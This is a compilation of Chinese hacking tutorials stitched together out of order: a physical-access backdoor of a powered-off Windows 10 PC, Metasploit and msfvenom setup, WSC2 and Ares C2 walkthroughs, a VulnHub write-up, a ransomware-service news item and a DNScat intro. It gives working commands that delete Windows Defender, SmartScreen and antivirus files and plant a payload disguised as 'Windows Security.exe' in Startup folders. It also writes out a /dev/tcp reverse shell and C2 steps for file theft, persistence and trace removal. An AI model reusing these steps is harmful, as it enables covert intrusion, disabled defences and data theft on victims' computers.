攻击者在远程私有服务器上配置完metasploit,创建了自动化资源脚本和生成了简单地payload之后,只要能够物理接触他人的电脑几分钟,他就可以远程控制别人的电脑了,即使电脑已关机也无济于事。

如果你还不太明白,请务必参考我的上一篇文章:设置live USB和payload USB。不然,你可能会有些蒙圈,不知道我下面会说到的两个USB从何而来。

完成上一篇文章中的一系列操作之后,这篇文章将继续讲解如何完成接下来的攻击环节。两个U盘都要插入到已关闭的目标系统中,确保关闭了Windows defender和其他安全软件,并且payload会被保存在正确的位置上。

跟之前一样,无论你是白帽子,渗透测试者,安全研究者,或者只是一个普通的windows10用户,在本文的文末,我们将会讨论一些防御性的措施。

Step 1使用live USB启动目标设备

因为在本次攻击中,需要用到两个USB端口,所以如果目标设备只有一个USB口的话,你可能需要带一个USB hub,这样就可以连接live USB和payload USB两个U盘了。

当目标系统完全关机之后,所有连接到电脑的U盘和外设都应该弹出。此时我们会将使用Ethcer工具制作的live USB插入到win10目标电脑中。 

在电脑启动过程中,要进入启动管理器,需要按F12,F10,或者是Fn+F2,也可能是其他键组合。由于不同的电脑制造商处理BootLoader的方法不同,因此无法确定的说就是哪两个键来启动BootLoader,大家根据自己的个人电脑上网查查启动BootLoader快捷键。下图就是一个典型的启动管理器界面,显示了启动选项,不过目标电脑的启动管理器可能并不是长这样。

选择“USB boot”选项。

1.jpg

然后,kali(或者不管是其他的什么Linux版本)会弹出一个登陆窗口,默认用户名root,密码toor。

2.jpg

Step2 安装Windows卷

大多数电脑的驱动器名(或者是卷名),可能叫做Windows或Windows10。大多数系统只有一个内部硬盘驱动器,因此不难确定卷名。我们需要记住卷的名字,在教程的后面我们会用到它。

双击位于kali桌面上的驱动器来安装Windows卷。安装完之后,我们就可以访问硬盘上的文件和目录了。kali管理器会自动弹出并显示硬盘上的内容。在下面的例子中,可以看到“Users”和“Files”目录是完全可以访问的。

3.jpg

Step3 插入payload USB

接下来,将payload USB插入到目标计算机中,桌面上会出现一个新的驱动器,双击它来安装,并记下文件地址栏中的卷名。在下一步中,我们要用到这个卷名。

4.jpg

Step4 禁用计算机防御

下一步,关闭Windows Defender,Smartscreen和杀毒软件,这个是可选项。禁用计算机的防御系统并不会破坏操作系统,也不会再重启时造成致命的错误。但应用程序托盘中少了杀毒软件的图标可能会引起用户的怀疑。完成这些操作后,去检查Windows defender设置也可能让用户和IT专业人员注意到某些安全问题。

5.jpg

我们也可以选择一种入侵行为不那么明显的方法,比如DNS攻击,这让攻击者能够进行网络钓鱼攻击,并且只涉及到修改单个的文本文件。在本篇文章中,我将会展示对于关机的电脑会造成多大的损害。

禁用Windows Defender

Windows defender是Windows操作系统自带的防病毒和清除恶意软件的组件。该组件包含很多的安全功能,比如实时的安全代理,可以监控操作系统中比较常用的位置,检测它们是否发生改变,通常这些位置容易被攻击者篡改。

USB和硬盘会自动挂载在/media/username/目录下。我们可以使用find命令来查找包含Windows defender文件的目录。打开终端,输入以下命令:

find /media/root/ -type d -iname *Windows\ Defender*

6.jpg

-type d参数意思是只查找目录,-iname参数表示忽略大小写,所以这条命令会找到名为“Windows Defender”,“windows defender”或者是“WiNdOws dEfEnDeRs”的目录。前后两个通配符*表示查找所有包含Windows defender字符的目录,不管该字符是在目录的开头,结尾还是中间。

从上图中可以看到,命令执行结束后,查找到6个包含Windows defender的目录。使用下面这条命令可以删除这些目录:

find /media/root/ -type d -iname *Windows\ Defender* -exec rm -rf {} \;

这条命令比上一条命令多了-exec rm -fr {}\,意思就是找到目录后自动删除。

执行完之后,再运行第一条命令,就应该找不到包含Windows defender目录了。

禁用Windows smartscreen

smartscreen是微软开发的安全层。它作为“防恶意软件服务”进程在后台运行,并扫描应用程序和文件来查找微软数据库中标记的恶意软件。即使禁用了Windows defender,smartscreen还是能够识别出恶意的payload并进行隔离。

移除smartscreen,使用下列命令:

find /media/root/ -iname *smartscreen.exe* -exec rm -rf {} \;

这样,所有包含smartscreen.exe的文件和目录都被删除了。

禁用第三方安全软件(杀毒软件)

avast是一款非常优秀的杀毒软件,适用于各个平台,被认为是top5的杀毒软件,所以为了演示,我已经在目标计算机上安装了这款杀软。

当然,我们还是要删除所有包含avast的目录和文件,使用下面这条命令:

find /media/root/ -iname *avast* -exec rm -rf {} \;

如果不知道目标计算机使用了什么杀软,可以手动浏览“ProgramData”和“Program Files”目录,或者使用find命令来遍历。

find /media/root/ -iname *SearchTermHere*

现在,所有的杀软程序都已经目标计算机上清除了,此时这个电脑非常不安全,任何的payload都可以攻击它。

Step5 将payload保存到自启动文件夹

Windows有一个自启动文件夹,该文件夹里的程序都会在开机登录进系统时自启动,这种做法是为了方便,用户可以随时将合法程序的快捷方式(如浏览器,Word,播放器等)和脚本等拖入到该文件夹中。

攻击所有用户

有两个自启动目录可以用来自动执行payload,要想运行payload攻击计算机中的所有用户,payload USB中的这个“security.exe”payload需要存放在下面的这个Windows目录中:

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

下面的cp命令可以复制payload USB中的msfvenom payload到“All Users”的自启动目录中。

cp /media/root/USB#2 VOLUME NAME/Windows\ Security.exe /media/root/WINDOWS VOLUME NAME/ProgramData/Microsoft/Windows/Start\ Menu/Programs/StartUp/

7.jpg

上面命令中的USB2和Windows卷名需要根据你自己的实际情况进行修改。ls命令查看目录下的文件,以确保security.exe这个payload是否成功复制。

攻击一个用户

如果目标是设备上的单个用户,那么攻击者可能会使用下面的启动文件夹:

C:\Users\TARGET USERNAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

下面的命令用来复制payload到目标用户的启动文件夹中,这样就只会对这个用户造成影响:

cp /media/root/USB#2 VOLUME NAME/Windows\ Security.exe /media/root/Users\TARGET USERNAME/AppData/Roaming/Microsoft/Windows/Start\ Menu/Programs/Startup/

8.jpg

Step6 卸载Windows卷

上面那些步骤就是关于如何删除防病毒软件和插入msfvenom payload。在kali关机之前,手动卸载Windows卷也是非常重要的。在测试这次攻击过程中,我发现当我没有卸载Windows卷就强制关机时,有时候会导致卷无法保存对硬盘驱动的修改(也就是关机后,msfvenom没有正确的保存到卷中)。

要正确的卸载Windows卷,右键单击这个驱动器,在弹出的菜单栏中选择卸载卷。

9.jpg

Windows卷正常卸载后,关掉live USB,拿走U盘,然后离开计算机,就像什么都没发生一样,此时攻击已经完成。

Step7 执行后渗透操作

当目标用户开启目标计算机后,位于启动文件夹中的msfvenom payload会自动运行,并且回连到攻击者的服务器上(当然了,目标计算机需要联网)。下图可以看到已经建立了一个新的连接:

10.jpg

目标计算机只要一起动,它就会尝试的去连接运行着metasploit的VPS。查看已经建立的连接,在终端中输入sessions即可:

11.jpg

当被入侵计算机成功连接到metasploit VPS时,会自动分配一个ID号。要连接新创建的会话,只要输入-i参数即可:

sessions -i 1

12.jpg

可以看到创建了一个新的meterpreter连接,这样攻击者就可以直接与被入侵的主机进行交互了。在我们这个入侵win10的后续系列文章中,我会讲到一些非常不错的后渗透技术,所以大家可以持续关注这个系列。

如何防御硬盘攻击

当谈到防御此类攻击时,虽然有时候似乎很难防御,但有几点防御措施还是不错的。

启动BitLocker。这是微软提供的一种硬盘加密技术,启用了这个之后,本文中所演示的攻击就很难成功执行了。然而并没有什么卵用,之前已经有人写过文章如何绕过BitLocker加密了。所以它并非万无一失。

使用veracrypt软件。veracrypt是一个跨平台的加密软件,支持全盘加密。想要更加深入了解veracrypt,请访问Lifehacker

最后一点,不要使用Windows操作系统。Windows本来就不是一个安全的操作系统。MacOS和基于Debain的操作系统默认提供了更优秀的硬盘加密方法。如果你的电脑物理安全存在问题,那么你可以考虑换操作系统了。

即使你的win10笔记本关机,3分钟之内,也可以被入侵。只需要在键盘上执行某些操作,就能移除电脑中的杀毒软件,创建一个后门,捕获网络摄像头图像和密码,以及其他比较敏感的个人数据。

你现在可能会有疑惑,为什么攻击者要入侵我的个人电脑呢?答案很简单,任何计算机或者在线账户都是有价值的。虽然很多人觉得他们没什么东西可丢失或者可隐藏的,但是黑客的想法谁知道呢,可能他们就是想黑你,所以不要低估他们。

通过入侵你的win10电脑,攻击者可以在你的电脑上搭建web服务器用来钓鱼,传播恶意软件,垃圾邮件,或者存储和发布其他的恶意内容。他们还可以收集你的联系人信息,以你的名义给他们发送垃圾邮件,获取虚拟商品,破坏你的名声,获取你所有的账户凭证,把你的电脑当成肉鸡进行僵尸活动等等。

即使你的电脑上没有存储敏感信息,攻击者也会利用已经入侵的系统进行非法的活动,而这些非法活动都是直接与受害者相关联的,非法活动失败有可能导致罚款,诉讼,甚至是蹲监狱。

当然,也有可能攻击者入侵的电脑并不是实际的目标。只是以一个跳板而已。如果电脑所有者在一家价值很高的大企业上班,那么这家大企业可能就是攻击者真正的目标。这台被入侵的电脑,连接到公司的网络就可以作为一台渗透设备了,攻击者就可以进行非法活动,或者是横向渗透到网络中的其他设备。

理解攻击

在这篇文章中,我将讲解攻击者在物理接触靶机的情况下,如何给靶机种后门。对于白帽子和渗透测试人员来说,这是一个不错的方法。当然,对于普通用户来说,知道这种方法也有利于防止这种攻击。

大多数win10用户都不知道,即使电脑完全关机了,攻击者在不知道电脑开机密码的情况下,也是有办法可以看到电脑中的文件和目录的。

执行这种攻击只要2个U盘就足够了。第一个U盘制作成可以启动靶机系统的“live USB”,第二个U盘用来存储会在靶机中执行的payload。在第一个U盘中制作完成live USB之后,它就不能再存储任何文件了(比如payload),所以我们才需要第二块U盘。

这种攻击谁都可以执行,同事,邻居,酒店服务人员,室友,朋友,对象等任何人,只要有这两个U盘,并且能够物理接触电脑三分钟。攻击者甚至可以借助metasploit在电脑上留后门,这样一来,即使电脑在任何其他地方连接到不同的WiFi网络,攻击者都可以维持一个长期和远程的连接。

Step1 制作live USB

Live USB是一个物理介质或者外部硬盘,里面包含了一个完整的系统,可以在一台电脑上启动,而不用启动电脑的内部操作系统。现在大多数的电脑和台式电脑都支持从live USB启动,没有进行任何的安全考虑。

制作live USB的软件有很多,比较流行的是Rufus和LinuxLive USB Creator。不过,这里我推荐的是Ethcer,一个跨平台和开源的工具,这个工具让制作live USB更简单容易上手。

这里我们建议使用轻量级的Linux ISO镜像,允许Ethcer更加快速的制作live USB。任何允许用户使用操作系统而不用安装的Linux ISO镜像都可以。

1.gif

当Ethcer执行完成之后,弹出USB,此时,这个USB就能够用来查看和修改已经关机的win10电脑上的敏感文件了。

Step2 设置VPS

我们还需要一个VPS来设置metasploit监听,到时候被入侵的电脑会连接到这台服务器上。

关于如何购买VPS这里我就不再啰嗦了。如果还有不清楚如何购买的,请参考我们之前的文章,选择最好的VPS提供商。基于debain的VPS,1G运存和1核CPU就可以运行metasploit了。

Step3 在VPS中安装metasploit

metasploit开发者写了一个简单地安装脚本,可以自动化安装metasploit整个过程。首先,我们要下载这个脚本,然后保存到本地,我们可以使用下列命令来实现:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall

然后,确保脚本具有可执行权限,使用chmod命令来修改权限。

sudo chmod 755 msfinstall

最后,以root身份运行这个最新创建的“msfinstall”文件来安装metasploit。

2.jpg

差不多两分钟,metasploit就安装完成了。在我的debain9 VPS服务器上,这个安装脚本没有报错。在其他发行版中安装metasploit,请查看metasploit开发者Rapid7的官方安装指南

Step4 在VPS中安装Screen程序

这个程序允许用户在一个控制台下管理多个终端会话。它能够分离或者关闭终端窗口,而不会丢失终端中运行的任何数据。

比如, VPS上的SSH会话关闭之后,metasploit需要继续运行。一般情况下,如果metasploit启动了,只要SSH会话一关闭,VPS上的metasploit就会停止运行。所以我们需要使用Screen工具来保持metasploit在后台运行。以下就是一个案例,我在Screen程序中保持着nano运行。

3.gif

要安装这个程序,使用apt-get命令即可,命令如下:

sudo apt-get install screen

查看当前的Screen会话,使用screen -list命令。如果后台中没有在运行的Screen会话,这条命令会显示“no sockets found”。

要开启一个新的Screen会话,只要在终端中输入screen,回车即可。

Screen程序会显示一些版权和证书信息。 接着按回车键,不用管它。一旦进入到会话中,终端里执行的一切都会被保存,即使你关闭终端或者关闭计算机。

-r 参数可以用来重新连接一个正在运行的Screen会话。

session -r 会话名称

只要学会了上面几条简单地命令,你就可以开始使用Screen并且管理会话了。要想对Screen有更深入的了解,请参考这篇文章

Step5 配置metasploit

metasploit内置了很多“资源脚本”来完成自动化操作。这对于长期使用metasploit而且不想反复的输入相同的命令来设置metasploit的黑客来说,这一点是非常便利的。

创建资源脚本,在VPS上使用nano命令创建一个文件,命令如下;

nano ~/automate.rc

这将会在家目录中创建一个“automate.rc”文件,然后把下面的命令复制粘贴到打开nano的终端中:

use multi/handler
set payload windows/meterpreter/reverse_http
set LHOST Your.VPS.IP.Here
set LPORT 80
set ExitOnSession false
set EnableStageEncoding true
exploit -j

在进一步讲解之前,我们先来对这个脚本进行分析一下,看它是什么意思。

payload类型选择的是“Windows/metepreter/reverse_http”,这会在目标靶机和攻击者之间建立HTTP连接。攻击者有时候会使用基于标准TCP连接的HTTP连接来绕过DPI(深度数据包检测)。TCP包传输到异常端口(如4444,55555等),这样的话,任何人只要监控被入侵主机的进出流量,就可以发现TCP包。

LHOST是攻击者的IP地址,运行着metasploit。资源文件中的你的VPS地址也应该相应地改成攻击者的VPS地址。

LPORT制定了一个目标端口。HTTP数据默认是通过80端口传输的。为了被动的绕过DPI,我们使用了80端口。

当你使用msfconsole运行automate.rc文件时,这个exploit将会自动启。

当你复制了上面引号中的命令,粘贴到了nano中,输入Ctrl+X,然后Y来保存和关闭nano。

现在可以使用下面这条命令来启动msfconsole了。

screen msfconsole -r ~/automate.rc

Step6 生成payload

msfvenom是msfpayload和msfencode的组合,把这两个工具集成在一个框架中。msfvenom是metasploit框架的命令行实例,用来生成和输出metasploit中所有有效的shellcode。大多数情况下,原生的shellcode需要进行编码,这样才能正常运行。

在本次测试中,我们将使用一个简单而不复杂的payload。在真实的场景中,攻击者会使用高级的payload,能够有效的绕过杀毒软件。如果在攻击过程中没有杀毒软件的话,那么,一个简单地msfvenom payload就足够了。

在本教程中,我们会使用kali上的工具来生成msfvenom payload。使用msfvenom生成payload,在终端中输入以下命令:

msfvenom --encoder cmd/powershell_base64 --payload windows/meterpreter/reverse_http LHOST=YourVpsIpHere LPORT=80 --arch x86 --platform win --format exe --out ~/'Windows Security.exe'

4.jpg

上面这条命令执行了很多操作,现在我们来进行分析。

· –encoder:这个参数会对payload进行编码,它会将原始payload的文件特征改变成不同的格式,以此来绕过入侵检测系统。这里使用的encoder类型是“powershell_base64”。powershell是一门脚本语言,是由微软开发的,旨在帮助IT专业人员配置系统和自动化管理任务。这门语言在2006年引入了Windows XP和Vista系统中,不过自从引入起,该语言就被攻击者恶意利用来实现他们的目的。

· –payload:这里使用的payload类型是“windows/meterpreter/reverse_http”。这个payload与上一步创建的资源文件automate.rc中使用的payload保持一致。

LHOST:这里填写的是攻击者服务器的IP地址。这个IP地址跟上一步中automate.rc资源文件中的LHOST保持一致。

LPORT=80:指定目标端口,与上一步保持一致。

· –arch x86:过去的Windows旧电脑使用x86架构,而且不能执行64位的程序。在较新版的Windows电脑中,可以使用x86架构,也可以使用x64架构。因此攻击者选择使用x86架构,因为新旧版本都支持,所以能够覆盖到更多的Windows用户。

· –platform win:指定目标操作系统平台。其他平台包括Android,macOS,Unix和Solaris。在这例子中,我们选择Windows平台。

· –format exe:指定输出格式为“exe”。这个可执行程序可以不需要用户输入就在Windows上运行。

· –out:攻击者通常会使用可信的名字来命令病毒或者后门,比如“Windows security”,“Windows update”或者是“explorer.exe”,以此来迷惑用户,认为正在运行的进程是无害的或者可疑的。–out指定了可执行payload的名字。

Step7 制作payload USB

生成msfvenom payload之后,我们需要将它保存在第二块USB中。我们只要将第二个U盘插入到电脑中,把刚刚生成的payload拷贝进去就行。就是这么简单,这个payload U盘就制作好了。

接下来就要准备去入侵系统了。

在这篇文章中,我们创建了live USB,安装了metasploit,并且配置了远程服务器,生成了一个简单地msfvenom payload。所有这些步骤完成之后,我们就可以进行下一步了,物理上去接触一台关机的电脑,并且关闭了Windows defender和其他安全软件,并将payload嵌入到设备中。这样一来,每次当设备重启时,payload就会执行,在攻击者服务器和被入侵电脑中创建一个新的连接。详细步骤,敬请期待下篇文章分析。

这篇文章,我们将学习另一款C&C远控工具WebSocket C2,也被称为WSC2。

介绍

WSC2主要是一款后渗透测试工具。WSC2会使用WebSocket和一个浏览器进程。它的作用是在目标靶机上运行的客户端和实际充当C2服务器的控制器之间作为C2通信通道。这款工具使用Python开发的。

本文演示环境

· 攻击机:kali Linux

· 靶机:Windows 10

安装

首先,我们要在攻击机上安装此工具。我们可以直接从GitHub上下载该工具,下载命令如下:

git clone //github.com/Arno0x/WSC2.git

1.png

 

执行完上述命令之后,就会创建一个WSC2目录。现在我们cd到这个目录下,然后ls一下,查看我们刚才下载了什么内容,如下图:

cd WSC2/
ls

2.png

接下来,我们需要安装这个工具的依赖条件。安装依赖的方法有很多,这里我们直接使用pip命令,需要安装的依赖都在requirement.txt这个文件中,直接指定该文件安装即可:

pip install -r requirements.txt

3.png

刚才我们ls查看目录内容时,可以看到有一个config.py文件,我们需要修改这个文件,这样才能在我们的系统中获取到会话。我们使用nano来编辑文件,如图所示,当我们用nano打开config.py文件时,我们可以看到有一个CALLBACK变量,它的值是一个IP地址。这里我们需要把它修改成我们攻击机的IP地址,也就是这个例子中的kali的地址,如下图:

nano config.py

4.png

攻击目标

接下来,我们就可以运行这个工具了,在运行之前,我们要先检查一下是否具有执行权限。运行起来之后,我们会看到一个酷炫的banner信息,如下图所示,还有一些关于作者,版本和工具的详细信息。接着,它就会在当前目录下创建一个子incoming子目录,这个目录作为一个缓存使用,保存来自靶机的文件:

./wsc2.py

5.png

接下来,我们要创建一个batch文件。不过我们也可以使用其他类型的stager。这个工具提供的stager类型是jscript1,jscript2,jscript3。这里我们会使用jscript1,因为它不需要进行编译。其他的stager都需要进行编译。下面这条命令会在stagers目录下创建一个wsc2Agent1.js文件,如下图:

genStager jscript1

6.png

接下来,我们要把这个文件发送到靶机上。我们首先再打开一个终端,然后cd到stagers目录下。这里我们启用一个Python服务器,将文件分享靶机。当然了,也有很多其他方法可以将文件传到靶机上,大家可以自己多摸索,如下:

cd stagers/
ls
python -m SimpleHTTPServer 80

7.png

一旦这个jscript文件在靶机中执行之后,我们就可以在终端中看到一条消息,一个新的agent连接成功。我们可以使用list命令来查看一下有哪些agents。

list

8.png

然后,我们复制这个AgentID,然后use这个AgentID与会话交互,如下图所示:

use [AgentID]

9.png

命令执行

我们输入cli命令,然后就可以在靶机上运行powershell命令。这里我们就简单地执行一个systeminfo命令,执行之后,我们就可以看到靶机的详细的系统信息了,如下图:

cli
systeminfo

10.png

文件下载

除此之外,我们还可以从靶机上下载文件。下载文件的命令是getFile,后面接文件名或者路径。这个命令会将靶机上的文件下载到我们的攻击机上,如下图:

help getFile
getFile sample_text.txt

11.png

下载的文件会保存在子目录incoming中,我们使用cat命令来查看下载文件的内容,如下图:

cd incoming/
ls
cat sample_file.txt

12.png

大家好,今天给大家带来的靶机是SP eric,这个靶机有两个flag,我们的目标就是把它们都找出来,flag的位置已经提供,如下:

· /root/flag.txt

· /root/eric/flag.txt

靶机下载地址:https://www.vulnhub.com/entry/sp-eric,274/

渗透方法

· 网络扫描

· 访问HTTP服务端口

· 使用dirb遍历目录

· 使用gitdumper来下载git文件

· 使用extractor来提取git文件

· 遍历登录凭证

· 上传PHP反向shell

· 获取用户flag

· 利用PHP shell编辑文件

· 获取root用户flag

Writeup

首先我们用nmap来对这个靶机进行端口扫描,通过扫描可以看到开放了80端口,如下图,我们还看到了扫出来了一个Git目录。

nmap -A 192.168.1.18

1.png

既然开了80,我们就在浏览器中访问一下,看到如下信息,“blog under construction”(博客正在建设中),如图,看起来好像没什么可挖掘的,我们再试试其他办法。

2.png

那我们就来试一下目录遍历,这里我们使用dirb这款工具。扫出来了一个admin.php文件和一个upload目录。OK,我们将对它们进一步挖掘。

dirb //192.168.1.18

3.png

访问admin.php,是一个表单,有username和password这两个字段。看到表单,我们马上就会想到SQL注入。于是我们花了一点时间进行尝试,无果,只好放弃,只能再尝试其他方法。

4.png

现在,继续看nmap扫描结果,我们找到了一个Git库。在google上查找一番之后,我们找到了一个Git泄露利用工具GitTools。我们把工具下载到桌面,如下图,接着我们进入到GitTools工具目录,ls一下,我们可以看到有3个工具:Dumper,Extractor和Finder。我们将使用这个工具来遍历我们发现的Git库。

git clone //github.com/internetwache/GitTools.git
cd GitTools/
ls

5.png

首先,我们进入到Dumper目录,使用gitdumper工具。这会dump Git库中的所有文件。我们只需要指定一个下载目录即可,如下图:

6.png

现在我们已经成功dump了Git库中的所有文件。接着该使用Extractor工具了。进入到Extractor目录中,使用Extractor工具,需要指定两个目录,一个是刚才dump文件的目录,一个是提取文件的目录,如下图:

./extractor.sh ../Dumper/dest-dir ./dest-dir

7.png

Extractor会根据Git中的commits来创建目录,如下图所示。Git中有3个commits,所以创建了3个目录。首先,我们进入其中一个目录“3db5628b550f5c9c9f6f663cd158374035a6eaa0”,发现里面有三个文件:admin.php,commitmeta.txt和index.php。我们用cat命令来查看一下admin.php这个文件,发现了之前访问80端口时表单中的用户名和密码,我们把这个凭证标记出来了,如下图:

8.png

回到之前的表单页面,然后输入凭证,成功登陆。登进来之后,我们发现了更多的表单,一个是“add new post”,还有一个是“add site to blogroll”,都是在建设中,如图:

9.png

我们在表单中随便填入一些信息,然后在上传文件的位置选择一个PHP反向shell。填完之后,我们点击add按钮来添加,如图:

10.png

虽然文件已经上传了,但我们要获取到会话,还是要在靶机上访问一下这个文件。回到nmap扫描结果,我们找到一个“upload”目录。猜想一下,刚才上传的文件应该是传到了upload目录下,于是我们在浏览器中访问一下upload目录下的该文件,如下图:

11.png

 

另一方面,我们需要打开一个终端,创建一个nc监听器,监听的端口是PHP反向shell脚本里设置的端口。很快,我们就获得了靶机的shell。不过,获得的好像是一个Python shell,要获得靶机的系统shell,我们需要使用Python的一个语句,如下图。进入靶机的系统shell之后,我们就可以ls查看一下当前目录内容了,发现了eric目录,进入到该目录,找到了第一个flag。同时,在这个eric目录下,我们还发现了一个backup.sh文件,这个文件是以root身份运行的,并且具有所有的权限,如下图所示:

nc -lvp 1234
python3 -c 'import pty;pty.spawn("/bin/bash")'
cd /home
ls -al
cd eric
ls -al
cat flag.txt

12.png

因此,我们就需要利用这个backup.sh文件来提权到root。我们创建了一个msfvenom脚本来打这个靶机。我们使用的是reverse_bash这个payload来创建脚本的,如下:

msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.4 lport=4455 R

13.png

复制脚本内容,然后切换到靶机的shell会话中,使用echo命令,将内容写入到backup.sh中,如下:

echo "0<&171-;exec 171<>/dev/tcp/192.168.1.4/4455;sh <&171 >&171 2>&171" > backup.sh
cat backup.sh

14.png

打开一个新的终端,再创建另外一个nc监听器,监听的端口就是刚才使用msfvenom创建脚本时的端口,4455。接着,我们执行一下这个backup.sh文件,马上就获得了一个root shell。我们还是需要使用Python语句来进入到系统的shell中。接着,我们切换到root目录下,看到了root flag,如下图:

nc -lvp 4455
id
python3 -c 'import pty;pty.spawn("/bin/bash")'
cd /root
ls
cat flag.txt

15.png

1.png

最近网络犯罪分子发布了一个新的服务Inpivx,该服务为客户提供了一个管理面板,通过管理面板,客户可以从零开始开发和管理恶意软件。

这项新的服务可以让任何懂点计算机的人都能够轻易的创建勒索软件,加密所有文件,还包括解密器。

目前,该服务在Tor暗网上进行推广,此套餐服务售价为500刀。这个管理面板是用C++编写的,支持Windows xp到Windows10。

一位Inpivx成员告诉BleepingComputer,

勒索软件和管理面板是绑定在一起的,而且客户端能够根据客户需求调节勒索软件代码,同时,他们还提供了自定义勒索软件的教程。

这个供应链服务控制面板还包括聊天支持,轻量级和响应式,扁平快速设计。

一旦恶意软件在受害者主机上得以执行,它就会加密所有文件,并且在屏幕上弹出控制面板,列出了加密文件的数量,勒索软件安装,操作系统和地理位置。

它还详细说明了个人受害者的勒索金额,解密秘钥和付款状态。

勒索软件的威胁正在不断快速增长,最近一段时间以来,它被认为是全球网络攻击的首要威胁。现在它已经成为了一种全球性的威胁,而且产生了一个几十亿美元的产业,目前没有任何迹象表明该威胁会在短时间内减轻或消失。所以,重视起来吧。现在有了这个Inpivx服务,任何一个人都可以轻易地创建勒索软件了。

关于如何应对勒索软件和减轻风险,你可以参考这篇文章勒索软件攻击响应和缓解清单

这篇文章,我们将来学习Ares这款工具。这款工具可以通过web界面进行C&C控制。该工具在GitHub可以下载,地址在这里

介绍

Ares是一款Python编写的远程访问工具。Ares由两部分主要程序组成:C&C服务器和客户端,C&C服务器是管理客户端代理的web界面,客户端需要运行在被入侵的主机上,并且确保能够与C&C服务器通信。

下面进行实战演示

· 攻击机:kali Linux

· 靶机:Windows10

安装

首先,我们需要在攻击机中安装此工具。我们可以使用git命令,直接在GitHub中将工具下载到本机。下载好后,我们使用cd命令切换到该目录下,如下图所示:

git clone //github.com/sweetsoftware/Ares.git
cd Ares
ls

1.png

要想让此工具正常运行,我们还需要安装一些依赖和库。可以看到在此工具目录下有一个requirement.txt文件,这个文件包含了我们需要安装的Python库。使用pip命令来安装:

pip install -r requirements.txt

2.png

 

因为我们的靶机是Windows主机,所以我们需要编译客户端来兼容Windows主机。要进行编译的话,我们还需要wine这个工具,不用担心,这个工具在我们下载Ares时已经提供了,现在我们来安装一下,可能会需要一点时间

ls
./wine_setup.sh

3.png

攻击目标

现在我们已经成功地安装好了运行Ares工具所需的所有依赖和库。接下来我们就可以利用该工具来获得C&C会话了。我们需要一个客户端,使用cd命令切换到客户端目录下,然后ls一下查看目录中的文件,可以看到有一个config文件,我们需要编辑这个文件来获取会话

cd agent/
ls
nano config.py

4.png

 

当我们使用nano命令打开配置文件时,可以看到SERVER变量是一个IP地址,这个地址是需要修改的。这里我们把它修改成攻击机的内网IP地址,在这个演示中,攻击机的内网IP地址是192.168.1.4。其他地方不需要再修改了,保存文件即可。

5.png

现在,我们已经对配置文件进行了修改,接下来就是创建客户端了。因为靶机是Windows,所以我们需要创建一个Windows客户端,使用下面的命令来创建:

./builder.py -p Windows –server //192.168.1.4:8080 -o agent.exe

6.png

接着,我们需要把这个客户端发送到靶机中,不管用什么方法都行。发送成功之后,我们需要启动服务器,因为客户端需要与服务器进行通信。启动服务器后,我们回到Ares目录,会发现多了一个server子目录。我们进入到该子目录,接着我们需要开启数据库,这里我们要用到initdb参数,只有在第一次使用时才需要开启数据库。现在,我们可以运行服务器了。

命令如下

ls
cd server/
./ares.py initdb
./ares.py runserver -h 0.0.0.0 -p 8080 --threaded

7.png

接着,我们在浏览器中访问我们的服务器IP地址。我们可以看到一个表单,要求我们设置密码,如下图,我们开始设置自己的密码,然后点击Define进行确认。

8.png

OK,密码已经创建好了,我们需要输入密码来登录,如图:

9.png

登录成功之后,我们可以看到Ares GUI界面。该页面中有以下几个链接:修改密码,断开连接,和客户端列表。现在客户端列表是空的,我们需要在靶机中执行了客户端之后,这个客户端列表才会有内容,如图:

10.png

在靶机中执行客户端后,我们在下图中可以看到,有一个客户端上线了。我们可以看到客户端的名称,状态和登录的用户名,还有主机名。我们还能清楚的看到靶机的IP地址和操作系统。当然,我们可以在多个设备中运行客户端,然后在客户端列表中都能一一显示出来。我们可以从多个客户端会话中选择某些会话,然后同时对多个会话执行相同的命令。选择会话名称继续:

11.png

命令执行

因为Ares执行的是powershell的命令,所以这里我们执行一个查看系统信息的命令,也及时systeminfo。执行完之后,我们就可以看到靶机所有的系统配置信息,如下图:

systeminfo

12.png

捕获截图

接着我们来捕获一张靶机的截图。我们需要输入screenshot命令,然后客户端会捕获一张截图,并以链接的形式提供,如下图,打开链接就能看到捕获的截图了

screenshot

13.png

文件下载

我们也可以使用这个客户端从远程靶机上下载文件。当然,要下载文件我们需要知道文件名。我们可以通过dir列目录命令来获取文件名。现在我们知道了文件名,我们就可以下载文件到攻击者的本地机器上了,如下图所示:

download file.txt

14.png

压缩文件

我们还可以利用这个Ares客户端在远程靶机上压缩一个目录。同样,我们需要知道目录名。知道目录名之后,我们就可以使用下面的命令来远程压缩整个目录。这里,我们可以看到有一个sample目录,我们来把它压缩成compressed.zip压缩包,如下图:

zip compressed.zip sample

15.png

持久代理

我们可以在这个客户端中调用持久代理,使用persist命令即可。这条命令会在远程靶机中安装代理,如下图:

persist

16.png

 

迹清理

会话结束,完成我们的目的之后,这个工具还能够进行痕迹清理。下面这条命令将从远程靶机上移除这个代理工具,这样就很难检测到,如下图:

clean

17.png

介绍DNS

域名系统将URL和IP地址关联起来。有了DNS,我们就可以直接在浏览器中输入比较容易记的单词,而不是一连串的数字,这样人们就能够搜索站点并且发送消息了。

当你在浏览器中输入域名访问网站时,它首先会向DNS服务器发送请求来查找域名对应的IP地址。找到IP地址之后,就会通过IP定位到对应的服务器然后获取网站的内容。令人惊讶的是,这整个过程仅仅只需要几毫秒。DNS默认是运行在53端口上。

介绍DNScat

DNScat堪称神器,因为它可以通过DNS协议创建C&C隧道,让攻击者更加隐蔽。你可以访问任何数据以及上传和下载文件,并且获得一个shell。这个工具也是基于53端口的,所以你不需要对DNS服务器进行权威访问,只要通过53端口就能建立连接,速度会快很多,而且发送的流量都是正常流量。但是这些通信流量在数据包日志里就非常明显了,容易被发现。

DNScat有服务端和客户端两个组件。要理解DNScat的工作原理,需要先了解这两个组件。

客户端是要安装在目标机器中并且保持着运行状态。它是用C语言编写的,满足最少的基本条件就可以运行。当你运行客户端时,你需要指定一个域名。因为所有数据包都会发送到本地DNS服务器上,然后会发送到合法的DNS服务器来查询域名(显然,这个域名是你可以控制的)。

